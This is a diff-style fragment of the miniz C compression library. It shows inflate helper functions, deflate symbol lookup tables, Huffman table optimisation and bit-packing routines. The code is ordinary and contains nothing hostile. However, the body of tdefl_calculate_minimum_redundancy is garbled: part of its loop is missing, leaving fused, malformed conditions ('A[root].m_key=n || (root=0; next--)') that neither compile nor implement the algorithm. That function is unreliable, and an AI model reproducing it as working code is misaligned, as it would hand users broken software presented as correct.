{ + s1 += ptr[0], s2 += s1; s1 += ptr[1], s2 += s1; s1 += ptr[2], s2 += s1; s1 += ptr[3], s2 += s1; + s1 += ptr[4], s2 += s1; s1 += ptr[5], s2 += s1; s1 += ptr[6], s2 += s1; s1 += ptr[7], s2 += s1; + } + for ( ; i < block_len; ++i) s1 += *ptr++, s2 += s1; + s1 %= 65521U, s2 %= 65521U; buf_len -= block_len; block_len = 5552; + } + r->m_check_adler32 = (s2 << 16) + s1; if ((status == TINFL_STATUS_DONE) && (decomp_flags & TINFL_FLAG_PARSE_ZLIB_HEADER) && (r->m_check_adler32 != r->m_z_adler32)) status = TINFL_STATUS_ADLER32_MISMATCH; + } + return status; +} + +// Higher level helper functions. +void *tinfl_decompress_mem_to_heap(const void *pSrc_buf, size_t src_buf_len, size_t *pOut_len, int flags) +{ + tinfl_decompressor decomp; void *pBuf = NULL, *pNew_buf; size_t src_buf_ofs = 0, out_buf_capacity = 0; + *pOut_len = 0; + tinfl_init(&decomp); + for ( ; ; ) + { + size_t src_buf_size = src_buf_len - src_buf_ofs, dst_buf_size = out_buf_capacity - *pOut_len, new_out_buf_capacity; + tinfl_status status = tinfl_decompress(&decomp, (const mz_uint8*)pSrc_buf + src_buf_ofs, &src_buf_size, (mz_uint8*)pBuf, pBuf ? (mz_uint8*)pBuf + *pOut_len : NULL, &dst_buf_size, + (flags & ~TINFL_FLAG_HAS_MORE_INPUT) | TINFL_FLAG_USING_NON_WRAPPING_OUTPUT_BUF); + if ((status < 0) || (status == TINFL_STATUS_NEEDS_MORE_INPUT)) + { + MZ_FREE(pBuf); *pOut_len = 0; return NULL; + } + src_buf_ofs += src_buf_size; + *pOut_len += dst_buf_size; + if (status == TINFL_STATUS_DONE) break; + new_out_buf_capacity = out_buf_capacity * 2; if (new_out_buf_capacity < 128) new_out_buf_capacity = 128; + pNew_buf = MZ_REALLOC(pBuf, new_out_buf_capacity); + if (!pNew_buf) + { + MZ_FREE(pBuf); *pOut_len = 0; return NULL; + } + pBuf = pNew_buf; out_buf_capacity = new_out_buf_capacity; + } + return pBuf; +} + +size_t tinfl_decompress_mem_to_mem(void *pOut_buf, size_t out_buf_len, const void *pSrc_buf, size_t src_buf_len, int flags) +{ + tinfl_decompressor decomp; tinfl_status status; tinfl_init(&decomp); + status = tinfl_decompress(&decomp, (const mz_uint8*)pSrc_buf, &src_buf_len, (mz_uint8*)pOut_buf, (mz_uint8*)pOut_buf, &out_buf_len, (flags & ~TINFL_FLAG_HAS_MORE_INPUT) | TINFL_FLAG_USING_NON_WRAPPING_OUTPUT_BUF); + return (status != TINFL_STATUS_DONE) ? TINFL_DECOMPRESS_MEM_TO_MEM_FAILED : out_buf_len; +} + +int tinfl_decompress_mem_to_callback(const void *pIn_buf, size_t *pIn_buf_size, tinfl_put_buf_func_ptr pPut_buf_func, void *pPut_buf_user, int flags) +{ + int result = 0; + tinfl_decompressor decomp; + mz_uint8 *pDict = (mz_uint8*)MZ_MALLOC(TINFL_LZ_DICT_SIZE); size_t in_buf_ofs = 0, dict_ofs = 0; + if (!pDict) + return TINFL_STATUS_FAILED; + tinfl_init(&decomp); + for ( ; ; ) + { + size_t in_buf_size = *pIn_buf_size - in_buf_ofs, dst_buf_size = TINFL_LZ_DICT_SIZE - dict_ofs; + tinfl_status status = tinfl_decompress(&decomp, (const mz_uint8*)pIn_buf + in_buf_ofs, &in_buf_size, pDict, pDict + dict_ofs, &dst_buf_size, + (flags & ~(TINFL_FLAG_HAS_MORE_INPUT | TINFL_FLAG_USING_NON_WRAPPING_OUTPUT_BUF))); + in_buf_ofs += in_buf_size; + if ((dst_buf_size) && (!(*pPut_buf_func)(pDict + dict_ofs, (int)dst_buf_size, pPut_buf_user))) + break; + if (status != TINFL_STATUS_HAS_MORE_OUTPUT) + { + result = (status == TINFL_STATUS_DONE); + break; + } + dict_ofs = (dict_ofs + dst_buf_size) & (TINFL_LZ_DICT_SIZE - 1); + } + MZ_FREE(pDict); + *pIn_buf_size = in_buf_ofs; + return result; +} + +// ------------------- Low-level Compression (independent from all decompression API's) + +// Purposely making these tables static for faster init and thread safety. +static const mz_uint16 s_tdefl_len_sym[256] = { + 257,258,259,260,261,262,263,264,265,265,266,266,267,267,268,268,269,269,269,269,270,270,270,270,271,271,271,271,272,272,272,272, + 273,273,273,273,273,273,273,273,274,274,274,274,274,274,274,274,275,275,275,275,275,275,275,275,276,276,276,276,276,276,276,276, + 277,277,277,277,277,277,277,277,277,277,277,277,277,277,277,277,278,278,278,278,278,278,278,278,278,278,278,278,278,278,278,278, + 279,279,279,279,279,279,279,279,279,279,279,279,279,279,279,279,280,280,280,280,280,280,280,280,280,280,280,280,280,280,280,280, + 281,281,281,281,281,281,281,281,281,281,281,281,281,281,281,281,281,281,281,281,281,281,281,281,281,281,281,281,281,281,281,281, + 282,282,282,282,282,282,282,282,282,282,282,282,282,282,282,282,282,282,282,282,282,282,282,282,282,282,282,282,282,282,282,282, + 283,283,283,283,283,283,283,283,283,283,283,283,283,283,283,283,283,283,283,283,283,283,283,283,283,283,283,283,283,283,283,283, + 284,284,284,284,284,284,284,284,284,284,284,284,284,284,284,284,284,284,284,284,284,284,284,284,284,284,284,284,284,284,284,285 }; + +static const mz_uint8 s_tdefl_len_extra[256] = { + 0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3, + 4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4, + 5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5, + 5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,0 }; + +static const mz_uint8 s_tdefl_small_dist_sym[512] = { + 0,1,2,3,4,4,5,5,6,6,6,6,7,7,7,7,8,8,8,8,8,8,8,8,9,9,9,9,9,9,9,9,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,11,11,11,11,11,11, + 11,11,11,11,11,11,11,11,11,11,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,13, + 13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,14,14,14,14,14,14,14,14,14,14,14,14, + 14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14, + 14,14,14,14,14,14,14,14,14,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15, + 15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,16,16,16,16,16,16,16,16,16,16,16,16,16, + 16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16, + 16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16, + 16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,17,17,17,17,17,17,17,17,17,17,17,17,17,17, + 17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17, + 17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17, + 17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17 }; + +static const mz_uint8 s_tdefl_small_dist_extra[512] = { + 0,0,0,0,1,1,1,1,2,2,2,2,2,2,2,2,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,5,5,5,5,5,5,5,5, + 5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6, + 6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6, + 6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7, + 7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7, + 7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7, + 7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7, + 7,7,7,7,7,7,7,7 }; + +static const mz_uint8 s_tdefl_large_dist_sym[128] = { + 0,0,18,19,20,20,21,21,22,22,22,22,23,23,23,23,24,24,24,24,24,24,24,24,25,25,25,25,25,25,25,25,26,26,26,26,26,26,26,26,26,26,26,26, + 26,26,26,26,27,27,27,27,27,27,27,27,27,27,27,27,27,27,27,27,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28, + 28,28,28,28,28,28,28,28,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29 }; + +static const mz_uint8 s_tdefl_large_dist_extra[128] = { + 0,0,8,8,9,9,9,9,10,10,10,10,10,10,10,10,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12, + 12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13, + 13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13 }; + +// Radix sorts tdefl_sym_freq[] array by 16-bit key m_key. Returns ptr to sorted values. +typedef struct { mz_uint16 m_key, m_sym_index; } tdefl_sym_freq; +static tdefl_sym_freq* tdefl_radix_sort_syms(mz_uint num_syms, tdefl_sym_freq* pSyms0, tdefl_sym_freq* pSyms1) +{ + mz_uint32 total_passes = 2, pass_shift, pass, i, hist[256 * 2]; tdefl_sym_freq* pCur_syms = pSyms0, *pNew_syms = pSyms1; MZ_CLEAR_OBJ(hist); + for (i = 0; i < num_syms; i++) { mz_uint freq = pSyms0[i].m_key; hist[freq & 0xFF]++; hist[256 + ((freq >> 8) & 0xFF)]++; } + while ((total_passes > 1) && (num_syms == hist[(total_passes - 1) * 256])) total_passes--; + for (pass_shift = 0, pass = 0; pass < total_passes; pass++, pass_shift += 8) + { + const mz_uint32* pHist = &hist[pass << 8]; + mz_uint offsets[256], cur_ofs = 0; + for (i = 0; i < 256; i++) { offsets[i] = cur_ofs; cur_ofs += pHist[i]; } + for (i = 0; i < num_syms; i++) pNew_syms[offsets[(pCur_syms[i].m_key >> pass_shift) & 0xFF]++] = pCur_syms[i]; + { tdefl_sym_freq* t = pCur_syms; pCur_syms = pNew_syms; pNew_syms = t; } + } + return pCur_syms; +} + +// tdefl_calculate_minimum_redundancy() originally written by: Alistair Moffat, alistair@cs.mu.oz.au, Jyrki Katajainen, jyrki@diku.dk, November 1996. +static void tdefl_calculate_minimum_redundancy(tdefl_sym_freq *A, int n) +{ + int root, leaf, next, avbl, used, dpth; + if (n==0) return; else if (n==1) { A[0].m_key = 1; return; } + A[0].m_key += A[1].m_key; root = 0; leaf = 2; + for (next=1; next < n-1; next++) + { + if (leaf>=n || A[root].m_key=n || (root=0; next--) A[next].m_key = A[A[next].m_key].m_key+1; + avbl = 1; used = dpth = 0; root = n-2; next = n-1; + while (avbl>0) + { + while (root>=0 && (int)A[root].m_key==dpth) { used++; root--; } + while (avbl>used) { A[next--].m_key = (mz_uint16)(dpth); avbl--; } + avbl = 2*used; dpth++; used = 0; + } +} + +// Limits canonical Huffman code table's max code size. +enum { TDEFL_MAX_SUPPORTED_HUFF_CODESIZE = 32 }; +static void tdefl_huffman_enforce_max_code_size(int *pNum_codes, int code_list_len, int max_code_size) +{ + int i; mz_uint32 total = 0; if (code_list_len <= 1) return; + for (i = max_code_size + 1; i <= TDEFL_MAX_SUPPORTED_HUFF_CODESIZE; i++) pNum_codes[max_code_size] += pNum_codes[i]; + for (i = max_code_size; i > 0; i--) total += (((mz_uint32)pNum_codes[i]) << (max_code_size - i)); + while (total != (1UL << max_code_size)) + { + pNum_codes[max_code_size]--; + for (i = max_code_size - 1; i > 0; i--) if (pNum_codes[i]) { pNum_codes[i]--; pNum_codes[i + 1] += 2; break; } + total--; + } +} + +static void tdefl_optimize_huffman_table(tdefl_compressor *d, int table_num, int table_len, int code_size_limit, int static_table) +{ + int i, j, l, num_codes[1 + TDEFL_MAX_SUPPORTED_HUFF_CODESIZE]; mz_uint next_code[TDEFL_MAX_SUPPORTED_HUFF_CODESIZE + 1]; MZ_CLEAR_OBJ(num_codes); + if (static_table) + { + for (i = 0; i < table_len; i++) num_codes[d->m_huff_code_sizes[table_num][i]]++; + } + else + { + tdefl_sym_freq syms0[TDEFL_MAX_HUFF_SYMBOLS], syms1[TDEFL_MAX_HUFF_SYMBOLS], *pSyms; + int num_used_syms = 0; + const mz_uint16 *pSym_count = &d->m_huff_count[table_num][0]; + for (i = 0; i < table_len; i++) if (pSym_count[i]) { syms0[num_used_syms].m_key = (mz_uint16)pSym_count[i]; syms0[num_used_syms++].m_sym_index = (mz_uint16)i; } + + pSyms = tdefl_radix_sort_syms(num_used_syms, syms0, syms1); tdefl_calculate_minimum_redundancy(pSyms, num_used_syms); + + for (i = 0; i < num_used_syms; i++) num_codes[pSyms[i].m_key]++; + + tdefl_huffman_enforce_max_code_size(num_codes, num_used_syms, code_size_limit); + + MZ_CLEAR_OBJ(d->m_huff_code_sizes[table_num]); MZ_CLEAR_OBJ(d->m_huff_codes[table_num]); + for (i = 1, j = num_used_syms; i <= code_size_limit; i++) + for (l = num_codes[i]; l > 0; l--) d->m_huff_code_sizes[table_num][pSyms[--j].m_sym_index] = (mz_uint8)(i); + } + + next_code[1] = 0; for (j = 0, i = 2; i <= code_size_limit; i++) next_code[i] = j = ((j + num_codes[i - 1]) << 1); + + for (i = 0; i < table_len; i++) + { + mz_uint rev_code = 0, code, code_size; if ((code_size = d->m_huff_code_sizes[table_num][i]) == 0) continue; + code = next_code[code_size]++; for (l = code_size; l > 0; l--, code >>= 1) rev_code = (rev_code << 1) | (code & 1); + d->m_huff_codes[table_num][i] = (mz_uint16)rev_code; + } +} + +#define TDEFL_PUT_BITS(b, l) do { \ + mz_uint bits = b; mz_uint len = l; MZ_ASSERT(bits <= ((1U << len) - 1U)); \ + d->m_bit_buffer |= (bits << d->m_bits_in); d->m_bits_in += len; \ + while (d->m_bits_in >= 8) { \ + if (d->m_pOutput_buf < d->m_pOutput_buf_end) \ + *d->m_pOutput_buf++ = (mz_uint8)(d->m_bit_buffer); \ + d->m_bit_buffer >>= 8; \ + d->m_bits_in -= 8; \ + } \ +} MZ_MACRO_END + +#define TDEFL_RLE_PREV_CODE_SIZE() { if (rle_repeat_count) { \ + if (rle_repeat_count < 3) { \ + d->m_huff_count[2][prev_code_size] = (mz_uint16)(d->m_huff_count[2][prev_code_size] + rle_repeat_count); \ + while (rle_repeat_count--) packed_code_sizes[num_packed_code_sizes++] = prev_code_size; \ + } else { \ + d->m_huff_count[2][16] = (mz_uint16)(d->m_huff_count[2][16] + 1); packed_code_sizes[num_packed_code_sizes++] = 16; packed_code_sizes[num_packed_code_sizes++] = (mz_uint8)(rle_repeat_count - 3); \ +} rle_repeat_count = 0; } } + +#define TDEFL_RLE_ZERO_CODE_SIZE() { if (rle_z_count) { \ + if (rle_z_count < 3) { \ + d->m_huff_count[2][0] = (mz_uint16)(d->m_huff_count[2][0] + rle_z_count); while (rle_z_count--) packed_code_sizes[num_packed_code_sizes++] = 0; \ + } else if (rle_z_count <= 10) { \ + d->m_huff_count[2][17] = (mz_uint16)(d->m_huff_count[2][17] + 1); packed_code_sizes[num_packed_code_sizes++] = 17; packed_code_sizes[num_packed_code_sizes++] = (mz_uint8)(rle_z_count - 3); \ + } else { \ + d->m_huff_count[2][18] = (mz_uint16)(d->m_huff_count[2][18] + 1); packed_code_sizes[num_packed_code_sizes++] = 18; packed_code_sizes[num_packed_code_sizes++] = (mz_uint8)(rle_z_count - 11); \ +} rle_z_count = 0; } } + +static mz_uint8 s_tdefl_packed_code_size_syms_swizzle[] = { 16, 17, 18, 0, 8, 7, 9, 6, 10, 5, 11, 4, 12, 3, 13, 2, 14, 1, 15 }; + +static void tdefl_start_dynamic_block(tdefl_compressor *d) +{ + int num_lit_codes, num_dist_codes, num_bit_lengths; mz_uint i, total_code_sizes_to_pack, num_packed_code_sizes, rle_z_count, rle_repeat_count, packed_code_sizes_index; + mz_uint8 code_sizes_to_pack[TDEFL_MAX_HUFF_SYMBOLS_0 + TDEFL_MAX_HUFF_SYMBOLS_1], packed_code_sizes[TDEFL_MAX_HUFF_SYMBOLS_0 + TDEFL_MAX_HUFF_SYMBOLS_1], prev_code_size = 0xFF; + + d->m_huff_count[0][256] = 1; + + tdefl_optimize_huffman_table(d, 0, TDEFL_MAX_HUFF_SYMBOLS_0, 15, MZ_FALSE); + tdefl_optimize_huffman_table(d, 1, TDEFL_MAX_HUFF_SYMBOLS_1, 15, MZ_FALSE); + + for (num_lit_codes = 286; num_lit_codes > 257; num_lit_codes--) if (d->m_huff_code_sizes[0][num_lit_codes - 1]) break; + for (num_dist_codes = 30; num_dist_codes > 1; num_dist_codes--) if (d->m_huff_code_sizes[1][num_dist_codes - 1]) break; + + memcpy(code_sizes_to_pack, &d->m_huff_code_sizes[0][0], num_lit_codes); + memcpy(code_sizes_to_pack + num_lit_codes, &d->m_huff_code_sizes[1][0], num_dist_codes); + total_code_sizes_to_pack = num_lit_codes + num_dist_codes; num_packed_code_sizes = 0; rle_z_count = 0; rle_repeat_count = 0; + + memset(&d->m_huff_count[2][0], 0, sizeof(d->m_huff_count[2][0]) * TDEFL_MAX_HUFF_SYMBOLS_2); + for (i = 0; i < total_code_sizes_to_pack; i++) + { + mz_uint8 code_size = code_sizes_to_pack[i]; + if (!code_size) + { + TDEFL_RLE_PREV_CODE_SIZE(); + if (++rle_z_count == 138) { TDEFL_RLE_ZERO_CODE_SIZE(); } + } + else + { + TDEFL_RLE_ZERO_CODE_SIZE(); + if (code_size != prev_code_size) + { + TDEFL_RLE_PREV_CODE_SIZE(); + d->m_huff_count[2][code_size] = (mz_uint16)(d->m_huff_count[2][code_size] + 1); packed_code_sizes[num_packed_code_sizes++] = code_size; + } + else if (++rle_repeat_count == 6) + { + TDEFL_RLE_PREV_CODE_SIZE(); + } + } + prev_code_size = code_size; + } + if (rle_repeat_count) { TDEFL_RLE_PREV_CODE_SIZE(); } else { TDEFL_RLE_ZERO_CODE_SIZE(); } + + tdefl_optimize_huffman_table(d, 2, TDEFL_MAX_HUFF_SYMBOLS_2, 7, MZ_FALSE); + + TDEFL_PUT_BITS(2, 2); + + TDEFL_PUT_BITS(num_lit_codes - 257, 5); + TDEFL_PUT_BITS(num_dist_codes - 1, 5); + + for (num_bit_lengths = 18; num_bit_lengths >= 0; num_bit_lengths--) if (d->m_huff_code_sizes[2][s_tdefl_packed_code_size_syms_swizzle[num_bit_lengths]]) break; + num_bit_lengths = MZ_MAX(4, (num_bit_lengths + 1)); TDEFL_PUT_BITS(num_bit_lengths - 4, 4); + for (i = 0; (int)i < num_bit_lengths; i++) TDEFL_PUT_BITS(d->m_huff_code_sizes[2][s_tdefl_packed_code_size_syms_swizzle[i]], 3); + + for (packed_code_sizes_index = 0; packed_code_sizes_index < num_packed_code_sizes; ) + { + mz_uint code = packed_code_sizes[packed_code_sizes_index++]; MZ_ASSERT(code < TDEFL_MAX_HUFF_SYMBOLS_2); + TDEFL_PUT_BITS(d->m_huff_codes[2][code], d->m_huff_code_sizes[2][code]); + if (code >= 16) TDEFL_PUT_BITS(packed_code_sizes[packed_code_sizes_index++], "\02\03\07"[code - 16]); + } +} + +static void tdefl_start_static_block(tdefl_compressor *d) +{ + mz_uint i; + mz_uint8 *p = &d->m_huff_code_sizes[0][0]; + + for (i = 0; i <= 143; ++i) *p++ = 8; + for ( ; i <= 255; ++i) *p++ = 9; + for ( ; i <= 279; ++i) *p++ = 7; + for ( ; i <= 287; ++i) *p++ = 8; + + memset(d->m_huff_code_sizes[1], 5, 32); + + tdefl_optimize_huffman_table(d, 0, 288, 15, MZ_TRUE); + tdefl_optimize_huffman_table(d, 1, 32, 15, MZ_TRUE); + + TDEFL_PUT_BITS(1, 2); +} + +static const mz_uint mz_bitmasks[17] = { 0x0000, 0x0001, 0x0003, 0x0007, 0x000F, 0x001F, 0x003F, 0x007F, 0x00FF, 0x01FF, 0x03FF, 0x07FF, 0x0FFF, 0x1FFF, 0x3FFF, 0x7FFF, 0xFFFF }; + +#if MINIZ_USE_UNALIGNED_LOADS_AND_STORES && MINIZ_LITTLE_ENDIAN && MINIZ_HAS_64BIT_REGISTERS +static mz_bool tdefl_compress_lz_codes(tdefl_compressor *d) +{ + mz_uint flags; + mz_uint8 *pLZ_codes; + mz_uint8 *pOutput_buf = d->m_pOutput_buf; + mz_uint8 *pLZ_code_buf_end = d->m_pLZ_code_buf; + mz_uint64 bit_buffer = d->m_bit_buffer; + mz_uint bits_in = d->m_bits_in; + +#define TDEFL_PUT_BITS_FAST(b, l) { bit_buffer |= (((mz_uint64)(b)) << bits_in); bits_in += (l); } + + flags = 1; + for (pLZ_codes = d->m_lz_code_buf; pLZ_codes < pLZ_code_buf_end; flags >>= 1) + { + if (flags == 1) + flags = *pLZ_codes++ | 0x100; + + if (flags & 1) + { + mz_uint s0, s1, n0, n1, sym, num_extra_bits; + mz_uint match_len = pLZ_codes[0], match_dist = *(const mz_uint16 *)(pLZ_codes + 1); pLZ_codes += 3; + + MZ_ASSERT(d->m_huff_code_sizes[0][s_tdefl_len_sym[match_len]]); + TDEFL_PUT_BITS_FAST(d->m_huff_codes[0][s_tdefl_len_sym[match_len]], d->m_huff_code_sizes[0][s_tdefl_len_sym[match_len]]); + TDEFL_PUT_BITS_FAST(match_len & mz_bitmasks[s_tdefl_len_extra[match_len]], s_tdefl_len_extra[match_len]); + + // This sequence coaxes MSVC into using cmov's vs. jmp's. + s0 = s_tdefl_small_dist_sym[match_dist & 511]; + n0 = s_tdefl_small_dist_extra[match_dist & 511]; + s1 = s_tdefl_large_dist_sym[match_dist >> 8]; + n1 = s_tdefl_large_dist_extra[match_dist >> 8]; + sym = (match_dist < 512) ? s0 : s1; + num_extra_bits = (match_dist < 512) ? n0 : n1; + + MZ_ASSERT(d->m_huff_code_sizes[1][sym]); + TDEFL_PUT_BITS_FAST(d->m_huff_codes[1][sym], d->m_huff_code_sizes[1][sym]); + TDEFL_PUT_BITS_FAST(match_dist & mz_bitmasks[num_extra_bits], num_extra_bits); + } + else + { + mz_uint lit = *pLZ_codes++; + MZ_ASSERT(d->m_huff_code_sizes[0][lit]); + TDEFL_PUT_BITS_FAST(d->m_huff_codes[0][lit], d->m_huff_code_sizes[0][lit]); + + if (((flags & 2) == 0) && (pLZ_codes < pLZ_code_buf_end)) + { + flags >>= 1; + lit = *pLZ_codes++; + MZ_ASSERT(d->m_huff_code_sizes[0][lit]); + TDEFL_PUT_BITS_FAST(d->m_huff_codes[0][lit], d->m_huff_code_sizes[0][lit]); + + if (((flags & 2) == 0) && (pLZ_codes < pLZ_code_buf_end)) + { + flags >>= 1; + lit = *pLZ_codes++; + MZ_ASSERT(d->m_huff_code_sizes[0][lit]); + TDEFL_PUT_BITS_FAST(d->m_huff_codes[0][lit], d->m_huff_code_sizes[0][lit]); + } + } + } + + if (pOutput_buf >= d->m_pOutput_buf_end) + return MZ_FALSE; + + *(mz_uint64*)pOutput_buf = bit_buffer; + pOutput_buf += (bits_in >> 3); + bit_buffer >>= (bits_in & ~7); + bits_in &= 7; + } + +#undef TDEFL_PUT_BITS_FAST + + d->m_pOutput_buf = pOutput_buf; + d->m_bits_in = 0; + d->m_bit_buffer = 0; + + while (bits_in) + { + mz_uint32 n = MZ_MIN(bits_in, 16); + TDEFL_PUT_BITS((mz_uint)bit_buffer & mz_bitmasks[n], n); + bit_buffer >>= n; + bits_in -= n; + } + + TDEFL_PUT_BITS(d->m_huff_codes[0][256], d->m_huff_code_sizes[0][256]); + + return (d->m_pOutput_buf < d->m_pOutput_buf_end); +} +#else +static mz_bool tdefl_compress_lz_codes(tdefl_compressor *d) +{ + mz_uint flags; + mz_uint8 *pLZ_codes; + + flags = 1; + for (pLZ_codes = d->m_lz_code_buf; pLZ_codes < d->m_pLZ_code_buf; flags >>= 1) + { + if (flags == 1) + flags = *pLZ_codes++ | 0x100; + if (flags & 1) + { + mz_uint sym, num_extra_bits; + mz_uint match_len = pLZ_codes[0], match_dist = (pLZ_codes[1] | (pLZ_codes[2] << 8)); pLZ_codes += 3; + + MZ_ASSERT(d->m_huff_code_sizes[0][s_tdefl_len_sym[match_len]]); + TDEFL_PUT_BITS(d->m_huff_codes[0][s_tdefl_len_sym[match_len]], d->m_huff_code_sizes[0][s_tdefl_len_sym[match_len]]); + TDEFL_PUT_BITS(match_len & mz_bitmasks[s_tdefl_len_extra[match_len]], s_tdefl_len_extra[match_len]); + + if (match_dist < 512) + { + sym = s_tdefl_small_dist_sym[match_dist]; num_extra_bits = s_tdefl_small_dist_extra[match_dist]; + } + else + { + sym = s_tdefl_large_dist_sym[match_dist >> 8]; num_extra_bits = s_tdefl_large_dist_extra[match_dist >> 8]; + } + MZ_ASSERT(d->m_huff_code_sizes[1][sym]); + TDEFL_PUT_BITS(d->m_huff_codes[1][sym], d->m_huff_code_sizes[1][sym]); + TDEFL_PUT_BITS(match_dist & mz_bitmasks[num_extra_bits], num_extra_bits); + } + else + { + mz_uint lit = *pLZ_codes++; + MZ_ASSERT(d->m_huff_code_sizes[0][lit]); + TDEFL_PUT_BITS(d->m_huff_codes[0][lit], d->m_huff_code_sizes[0][lit]); + } + } + + TDEFL_PUT_BITS(d->m_huff_codes[0][256], d->m_huff_code_sizes[0][256]); + + return (d->m_pOutput_buf < d->m_pOutput_buf_end); +} +#endif // MINIZ_USE_UNALIGNED_LOADS_AND_STORES && MINIZ_LITTLE_ENDIAN && MINIZ_HAS_64BIT_REGISTERS + +static mz_bool tdefl_compress_block(tdefl_compressor *d, mz_bool static_block) +{ + if (static_block) + tdefl_start_static_block(d); + else + tdefl_start_dynamic_block(d); + return tdefl_compress_lz_codes(d); +} + +static int tdefl_flush_block(tdefl_compressor *d, int flush) +{ + mz_uint saved_bit_buf, saved_bits_in; + mz_uint8 *pSaved_output_buf; + mz_bool comp_block_succeeded = MZ_FALSE; + int n, use_raw_block = ((d->m_flags & TDEFL_FORCE_ALL_RAW_BLOCKS) != 0) && (d->m_lookahead_pos - d->m_lz_code_buf_dict_pos) <= d->m_dict_size; + mz_uint8 *pOutput_buf_start = ((d->m_pPut_buf_func == NULL) && ((*d->m_pOut_buf_size - d->m_out_buf_ofs) >= TDEFL_OUT_BUF_SIZE)) ? ((mz_uint8 *)d->m_pOut_buf + d->m_out_buf_ofs) : d->m_output_buf; + + d->m_pOutput_buf = pOutput_buf_start; + d->m_pOutput_buf_end = d->m_pOutput_buf + TDEFL_OUT_BUF_SIZE - 16; + + MZ_ASSERT(!d->m_output_flush_remaining); + d->m_output_flush_ofs = 0; + d->m_output_flush_remaining = 0; + + *d->m_pLZ_flags = (mz_uint8)(*d->m_pLZ_flags >> d->m_num_flags_left); + d->m_pLZ_code_buf -= (d->m_num_flags_left == 8); + + if ((d->m_flags & TDEFL_WRITE_ZLIB_HEADER) && (!d->m_block_index)) + { + TDEFL_PUT_BITS(0x78, 8); 